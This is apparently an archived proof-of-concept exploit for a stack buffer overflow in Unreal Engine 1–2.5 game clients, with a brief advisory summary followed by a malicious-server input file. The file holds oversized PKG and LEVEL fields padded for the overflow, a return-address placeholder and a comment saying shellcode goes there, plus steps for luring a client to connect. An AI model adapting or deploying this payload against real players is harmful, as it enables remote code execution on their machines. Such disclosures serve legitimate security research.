39 lines
No EOL
2.5 KiB
Text
39 lines
No EOL
2.5 KiB
Text
source: https://www.securityfocus.com/bid/41424/info
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Unreal Engine is prone to a remote stack-based buffer-overflow vulnerability because it fails to properly bounds-check messages before copying them to an insufficiently sized memory buffer.
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Successful exploits can allow remote attackers to execute arbitrary machine code in the context of the user running the application.
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This issue affects games based on Unreal Engine 1, 2, and 2.5; other versions may be affected as well.
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// Unreal engine <= 2.5 clients unicode buffer-overflow in UpdateConnectingMessage
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// by Luigi Auriemma
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// e-mail: aluigi@autistici.org
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// web: aluigi.org
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//
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// Advisory:
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// http://aluigi.org/adv/unrealcbof-adv.txt
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//
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// - http://aluigi.org/testz/unrealts.zip
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// - launch it: unrealts 7777 unrealcbof.txt
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// - launch a game based on the Unreal engine
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// - open the console (~)
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// - type: open 127.0.0.1:7777
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// - it's also possible to launch directly the game: game.exe 127.0.0.1:7777
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// CHALLENGE can be random
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CHALLENGE CHALLENGE=12345678
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// GUID can be random
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USES GUID=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF PKG=bof FLAGS=1 SIZE=1 FNAME=bof
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// some games like SWAT4 require that LEVEL of WELCOME and this PKG are the same
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USES GUID=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF PKG=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxxxxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA FLAGS=1 SIZE=1 FNAME=bof
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// enable any possible type of download
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DLMGR CLASS=Engine.ChannelDownload PARAMS=Enabled COMPRESSION=0
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DLMGR CLASS=IpDrv.HTTPDownload PARAMS=http://127.0.0.1/ COMPRESSION=0
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// LEVEL must contain the overflow and shellcode (the UDP packet must be max 576 bytes or less for some games)
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WELCOME LEVEL=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxxxxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LONE=0 |